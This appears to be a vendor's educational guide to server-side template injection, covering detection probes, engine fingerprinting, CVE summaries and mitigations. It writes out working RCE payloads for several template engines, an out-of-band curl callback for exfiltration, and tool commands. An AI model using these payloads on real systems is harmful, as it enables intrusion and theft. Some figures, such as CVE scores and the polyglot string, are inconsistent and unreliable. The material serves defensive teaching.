Server-Side Template Injection tricks the server's template engine into executing attacker-controlled expressions, often leading directly to Remote Code Execution.
TL;DR
{{7*7}}, ${7*7}) evaluated by the server — 49 in response confirms execution${{<%[%'"}}%\ fingerprints the engine via its error signature (Korchagin 2025, PortSwigger Rank #1)Server-Side Template Injection (SSTI) is a vulnerability class where attacker-controlled input is embedded into a template string and interpreted by a server-side template engine as executable code. Unlike Cross-Site Scripting — which executes attacker payloads in the victim's browser — SSTI executes directly on the server under the application process's own privileges. The impact ceiling is full system compromise via Remote Code Execution (RCE).
Template engines are designed to separate presentation from business logic: the developer writes a template with placeholders, the engine substitutes runtime values, and the result is rendered. The vulnerability arises when developers build templates by concatenating user-supplied strings rather than passing user input as safe rendering variables. The engine cannot distinguish developer-written syntax from attacker-injected syntax — it evaluates both.
OWASP classifies SSTI under A03:2021 (Injection). The specific CWE is CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine), distinct from general code injection (CWE-94) because of the template sandbox context and the engine-specific escape chains required. The 2025-2026 threat landscape shows SSTI as one of the most actively weaponized vulnerability classes: three CVEs received CISA Known Exploited Vulnerabilities entries in under two years, and Vladislav Korchagin's "Successful Errors" technique was ranked the most impactful web hacking research of 2025 by PortSwigger.
The root cause is identical across all engines: user input enters the template rendering pipeline as source, not as data.
The exploit chain proceeds in four steps:
template = "Hello " + user_name + "!". The intent is to produce a greeting — but the string now contains attacker-controlled content inside the template context.render_template_string(template) in Flask, $twig->createTemplate($user_input) in Twig, new Template(userInput) in Freemarker.{{, ${, #set(, <#assign) are treated as valid template code and executed.os.popen(), Runtime.getRuntime().exec(), system() — to achieve RCE.A minimal proof-of-concept in a vulnerable Flask application:
GET /greet?name={{7*7}} HTTP/1.1
Host: vulnerable.example.comHTTP/1.1 200 OK
Content-Type: text/html
Hello 49!The 49 confirms that the Jinja2 engine evaluated 7*7. The escalation path:
# Step 1 — Confirm engine (Jinja2: 49; Twig: 7777777 for {{7*'7'}})
{{7*7}}
# Step 2 — Dump config (information disclosure)
{{ config.items() }}
# Step 3 — RCE via cycler globals (Python 3.9+)
{{ cycler.__init__.__globals__.os.popen('id').read() }}| Variant | Technique | Engines | Impact |
|---|---|---|---|
| Math evaluation | {{7*7}} → 49 | All | Confirms SSTI, engine identification |
| Property dump | {{config}}, ${.now} | Jinja2, Freemarker | Secret key / credential exfil |
| MRO traversal | __class__.__mro__[1].__subclasses__() | Jinja2 | Sandbox escape → RCE |
| Globals access | cycler.__init__.__globals__.os | Jinja2 | RCE bypassing attribute filter |
| Filter callback | _self.env.registerUndefinedFilterCallback("system") | Twig | RCE via PHP system() |
| Execute builtin | "freemarker.template.utility.Execute"?new() | Freemarker | Direct Java RCE |
| ClassTool chain | $Class.inspect("java.lang.Runtime").type.getRuntime().exec(...) | Velocity | Java RCE |
| Error-based exfil | {{ config.SECRET_KEY.fail() }} (Korchagin 2025) | Jinja2, SpEL | Blind → in-band data leak |
| OOB DNS callback | {{ subprocess.Popen('curl TOKEN.oast.pro') }} | Jinja2 | Blind confirmation + exfil |
| Engine | Language | Detection Probe | {{7*'7'}} result | Sandbox | Primary RCE Path |
|---|---|---|---|---|---|
| Jinja2 | Python | {{7*7}} → 49 | 49 (truthy mult) | SandboxedEnvironment | cycler.__init__.__globals__.os.popen() |
| Twig | PHP | {{7*7}} → 49 | 7777777 (str repeat) | SecurityPolicy allowlist | _self.env.registerUndefinedFilterCallback("system") |
| Freemarker | Java | ${7*7} → 49 | 49 | SAFER_RESOLVER | "freemarker.template.utility.Execute"?new() |
| Velocity | Java | $math.add(2,2) → 4 | N/A | SecureUberspector | #set($rt=$Class.inspect("java.lang.Runtime").type) |
| Smarty | PHP | {$smarty.version} | N/A | Smarty security object | {php}system('id');{/php} (< 3.1.39) |
| Pebble | Java | {{ 7*7 }} → 49 | 49 | Extension sandboxing | getClass().getClassLoader() chain |
| Mako | Python | ${7*7} → 49 | N/A | None | ${__import__('os').popen('id').read()} |
| Tornado | Python | {{7*7}} → 49 | N/A | Limited | {%import os%}{{os.popen('id').read()}} |
| EJS | JavaScript | <%= 7*7 %> → 49 | N/A | None | <%= global.process.mainModule.require('child_process').execSync('id') %> |
The most significant 2025 advance converts blind SSTI — where template output is suppressed — into in-band data extraction. The technique deliberately triggers an exception that carries the target data in the error trace:
# Jinja2 — force AttributeError revealing config in stack trace
{{ config.SECRET_KEY.nonexistent_method() }}
# Server returns 500 with: AttributeError: 'str' object has no attribute 'nonexistent_method'
# Stack trace may contain the SECRET_KEY value in the exception message
# SpEL — wrap target in exception to leak via error message
${ exception(${T(java.lang.System).getProperty("user.dir")}) }Named "Successful Errors" by Korchagin (PortSwigger Top 10 Web Hacking Techniques 2025, Rank #1), this technique is now integrated into SSTImap v1.3.0 and Burp Suite Pro's SSTI extensive profile.
CVE-2023-22527 — Atlassian Confluence Server (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Velocity template text-inline.vm accepts a label parameter evaluated as OGNL within the Struts2 action context. An unauthenticated attacker POSTs to /template/aui/text-inline.vm with OGNL expressions referencing the internal velocity context to invoke Runtime.exec(). Added to CISA KEV on January 23, 2024 — seven days after disclosure. Ransomware groups and nation-state actors confirmed active exploitation through 2025-2026. Over 11,000 internet-facing Confluence instances were counted as vulnerable on the day of disclosure. Patched in Confluence 8.5.4+.
CVE-2025-32432 — Craft CMS Twig SSTI (CVSS 10.0, CISA KEV 2025-04-29)
Craft CMS versions prior to 3.9.14, 4.13.2, and 5.6.17 allow unauthenticated Twig template injection via the asset transformation preview endpoint. A POST request with a Twig expression as the transform parameter renders without sandboxing: {{ ['id']|filter('system')|join }} executes OS commands. Added to CISA KEV within 24 hours of public disclosure; active exploitation confirmed in the same window.
CVE-2025-54253 — Adobe AEM Forms on JEE (CVSS 10.0, CISA KEV 2025-08-21)
Pre-authentication OGNL injection via the /adminui/debug endpoint in Adobe AEM Forms on JEE. The endpoint evaluates OGNL expressions from request parameters through a Struts2-like binding layer, yielding direct access to java.lang.Runtime.exec() as the application server process. No credentials required. PoC published the same day as the CISA KEV addition (2025-08-21).
CVE-2025-41253 — Spring Cloud Gateway SpEL Injection (CVSS 8.6)
Spring Cloud Gateway with the actuator endpoint enabled allows SpEL injection in route definitions submitted via the HTTP management API. Attackers with network access to the actuator port can inject @systemProperties and @systemEnvironment references to exfiltrate database credentials, API keys, JWT signing secrets, and other environment variables without authentication to the application itself.
CVE-2022-23614 — Twig Sandbox Escape (CVSS 8.8)
Twig 2.x before 2.14.11 and 3.x before 3.3.8 allowed sandbox escape via the sort filter with a user-supplied callback. An attacker in a sandboxed context could invoke arbitrary PHP callables and achieve RCE. Demonstrates that even Twig's security policy has been repeatedly bypassed — sandboxing is not a guaranteed prevention.
HackerOne #1436052 — Twig SSTI in CMS Admin Panel
A researcher found Twig SSTI in a Symfony-based CMS template editor. Saving a template containing {{ _self.env.registerUndefinedFilterCallback("system") }} followed by {{ _self.env.getFilter("id") }} bypassed the SecurityPolicy sandbox entirely via the _self global. Impact: OS command execution as www-data. Bounty: $6,000.
CVE-2023-22527 (Confluence) remains actively exploited in 2025-2026. Unpatched Confluence instances on internet-facing networks are reliably compromised within days of exposure. Verify your version is 8.5.4+ or 8.6.0+ via the admin console before connecting to the internet.
Identify every input reflected in rendered output: URL parameters, POST body fields, HTTP headers, profile fields, email template previews, CMS WYSIWYG editors, report description fields, and notification subject lines.
Submit the Korchagin universal polyglot in each parameter:
${{<%[%'"}}%\An exception or malformed output (rather than the literal string echoed back) indicates a template context. Cross-reference the error message with the engine signature table to identify the engine.
Submit arithmetic probes per engine syntax to confirm evaluation:
{{7*7}} → 49 (Jinja2, Twig, Pebble, Tornado)
{{7*'7'}} → 49 (Jinja2) vs 7777777 (Twig) — definitive differentiator
${7*7} → 49 (Freemarker, Velocity, EL/SpEL)
#{7*7} → 49 (Ruby ERB, Slim)Reproduce with two additional probes to eliminate caching and coincidental patterns: {{8*9}} → 72, {{13*13}} → 169. All three results must be consistent.
Fingerprint the stack via error pages, Server and X-Powered-By headers, and framework-specific paths before attempting exploitation payloads.
Differentiate SSTI from CSTI: re-request with a non-browser user-agent (curl). If 49 still appears in the raw HTTP response body, it is SSTI. If only the browser DOM shows 49 after JavaScript rendering, it is CSTI (client-side template injection).
SSTImap v1.3.0 is the reference tool with 44-engine support and Korchagin error-based detection:
sstimap -u "http://target.com/greet?name=*"
sstimap -u "http://target.com/render" -d "template=*" -X POSTtplmap remains stable for Twig, Jinja2, Velocity, and Smarty:
tplmap.py -u "http://target.com/greet?name=*"Semgrep SAST catches vulnerable patterns before deployment:
python.flask.security.injection.tainted-string-format — flags render_template_string with user inputpython.jinja2.security.audit.jinja2-autoescape-disabled — flags disabled auto-escapingBreachVex confirms SSTI through multiple complementary techniques: math-evaluation probing ({{7*7}} → 49), Korchagin polyglot error-signature fingerprinting, non-predictable server-side property dumps reproduced multiple times, and out-of-band DNS callbacks with per-probe correlation — so every reported finding ships with proof of execution, not a guess.
# Flask/Jinja2
# VULNERABLE — user_name evaluated as template syntax
from flask import render_template_string
@app.route("/greet")
def greet():
name = request.args.get("name")
return render_template_string(f"Hello {name}!") # SSTI vector
# SAFE — user_name passed as rendering variable
from flask import render_template
@app.route("/greet")
def greet():
name = request.args.get("name")
return render_template("greet.html", name=name) # safe// Twig
// VULNERABLE
$template = $twig->createTemplate($_POST['template']);
echo $template->render([]);
// SAFE
echo $twig->render('greet.html.twig', ['name' => $userInput]);// Freemarker
// VULNERABLE
Template t = new Template("user", new StringReader(userInput), cfg);
t.process(dataModel, out);
// SAFE — pre-compiled template from filesystem
Template t = cfg.getTemplate("greet.ftl");
t.process(Map.of("name", userInput), out);If user-defined templates are unavoidable, apply strict sandbox configuration. Every engine has published bypass chains — sandbox is not prevention:
# Jinja2 — SandboxedEnvironment with cleared globals and filters
from jinja2.sandbox import SandboxedEnvironment
from jinja2 import StrictUndefined
env = SandboxedEnvironment(undefined=StrictUndefined)
env.globals.clear() # remove all globals
env.filters = {} # remove all filters; re-add only safe ones
tmpl = env.from_string(user_template)
result = tmpl.render(name=safe_value)// Freemarker — block Execute and ObjectConstructor
Configuration cfg = new Configuration(Configuration.VERSION_2_3_33);
// SAFER_RESOLVER: blocks ?new() from instantiating dangerous classes
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
// ALLOWS_NOTHING_RESOLVER: blocks all class instantiation
cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);// Twig — SecurityPolicy allowlist
$policy = new \Twig\Sandbox\SecurityPolicy(
['if', 'for'], // allowed tags
['upper', 'lower', 'escape'], // allowed filters
['Article' => ['getTitle']], // allowed methods
['Article' => ['title']], // allowed properties
['date'] // allowed functions
);
$twig->addExtension(new \Twig\Extension\SandboxExtension($policy, true));Sandboxed environments are not guaranteed prevention. All six major engines have published sandbox bypass chains. SandboxedEnvironment, Twig SecurityPolicy, Freemarker SAFER_RESOLVER, and Velocity SecureUberspector are delay mechanisms only. The only reliable prevention is never passing user input as template source.
Server-Side Template Injection (SSTI) is a vulnerability where user-controlled input is embedded into a template string and evaluated by the server's template engine. The engine treats the attacker's payload as template syntax — not data — enabling expression evaluation, object traversal, and ultimately Remote Code Execution under the application process's privileges.
XSS executes attacker-controlled JavaScript in the victim's browser. SSTI executes attacker-controlled template expressions on the server itself. SSTI is a server-side vulnerability with a typical impact of RCE and full system compromise; XSS is a client-side vulnerability with an impact of session hijacking or credential theft. SSTI is categorized as CWE-1336; XSS as CWE-79.
Both involve server-side execution of attacker input. Code injection (CWE-94) targets a general-purpose runtime — eval() in Python, PHP, or JavaScript. SSTI targets a template engine specifically (CWE-1336). The exploitation chain differs: SSTI requires escaping the template sandbox to reach OS primitives, while eval-based code injection has direct language access. In practice, both lead to equivalent RCE impact.
Submit arithmetic probes per engine syntax: {{7*7}} (Jinja2/Twig), ${7*7} (Freemarker/Velocity/EL), #{7*7} (Ruby ERB), <%= 7*7 %> (EJS/ERB). A numeric result in the response confirms template execution. Use the Korchagin universal polyglot ${{<%['"}}%\ for blind fingerprinting — each engine returns a distinct error signature identifying the engine without prior knowledge.
The probe {{7*'7'}} is the canonical differentiator. Jinja2 evaluates truthy multiplication and returns 49; Twig treats this as string repetition and returns 7777777. This single differential probe identifies the engine before attempting any exploitation chain.
Not directly, but most engine-level SSTI vulnerabilities have published sandbox escape chains that yield RCE. Jinja2, Twig, Freemarker, Velocity, Smarty, and Pebble all have RCE-grade exploit chains. Heavily sandboxed engines (Liquid, Handlebars with no helpers) may be limited to information disclosure. CVSS 9.8 is the standard rating for network-reachable SSTI with RCE potential.
The Korchagin universal polyglot ${{<%['"}}%\ (PortSwigger Top 10 Web Hacking Techniques 2025, Rank #1) simultaneously triggers a syntax error in every major template engine. The error message signature identifies the engine — jinja2.exceptions.TemplateSyntaxError for Jinja2, Twig\Error\Syntax for Twig, freemarker.core.ParseException for Freemarker. This transforms blind SSTI scanning into single-probe engine fingerprinting.
CVE-2023-22527 (Atlassian Confluence Velocity, CVSS 10.0, CISA KEV, still exploited 2025-2026), CVE-2025-32432 (Craft CMS Twig, CVSS 10.0, CISA KEV 2025-04-29), CVE-2025-54253 (Adobe AEM Forms OGNL, CVSS 10.0, CISA KEV 2025-08-21), CVE-2025-41253 (Spring Cloud Gateway SpEL, CVSS 8.6), CVE-2024-21683 (Confluence Data Center, CVSS 8.3), CVE-2022-23614 (Twig sandbox escape, CVSS 8.8).
The Velocity template text-inline.vm accepts a user-controlled label parameter that is processed as OGNL within a Struts2 context. An attacker sends POST /template/aui/text-inline.vm with a crafted label value containing an OGNL expression that calls Java's Runtime.exec(). No authentication is required. Patched in Confluence 8.5.4+. Added to CISA KEV on January 23, 2024 and confirmed actively exploited by ransomware groups through 2025-2026.
Never pass user input as the template source to render_template_string(). Always use render_template('file.html', var=user_input), which passes user data as a rendering variable, not as template syntax. If user-defined templates are a product requirement, use jinja2.sandbox.SandboxedEnvironment and clear env.globals entirely. Even sandboxed environments have known bypass chains — treat sandbox as defense-in-depth, not primary prevention.
Set cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER) to block the ?new() builtin from instantiating Execute or ObjectConstructor. Additionally restrict the data model to specific known-safe objects — never expose the full Java runtime context to a Freemarker template. The SAFER_RESOLVER blocks the primary RCE chains but does not eliminate all attack surface.
SSTImap v1.3.0 (Vladislav Korchagin) supports 44 engines with Korchagin error-based detection integrated. tplmap (epinna) is the stable legacy reference for Twig, Jinja2, Velocity, and Smarty. Burp Suite Pro 2025 includes an SSTI extensive scan profile with Korchagin probes. Nuclei has templates for CVE-2023-22527 and generic SSTI patterns. Semgrep rule python.flask.security.injection.tainted-string-format flags Flask render_template_string misuse at the SAST layer.
CSTI occurs in JavaScript template engines executed in the browser (AngularJS, Vue.js). The payload {{7*7}} renders as 49 only in the DOM after JavaScript hydration, not in the raw HTTP response. SSTI occurs in server-side engines; the rendered result appears directly in the HTTP response body before any JavaScript runs. To differentiate, request the URL with a non-browser User-Agent (curl) — if 49 still appears in the raw response, it is SSTI.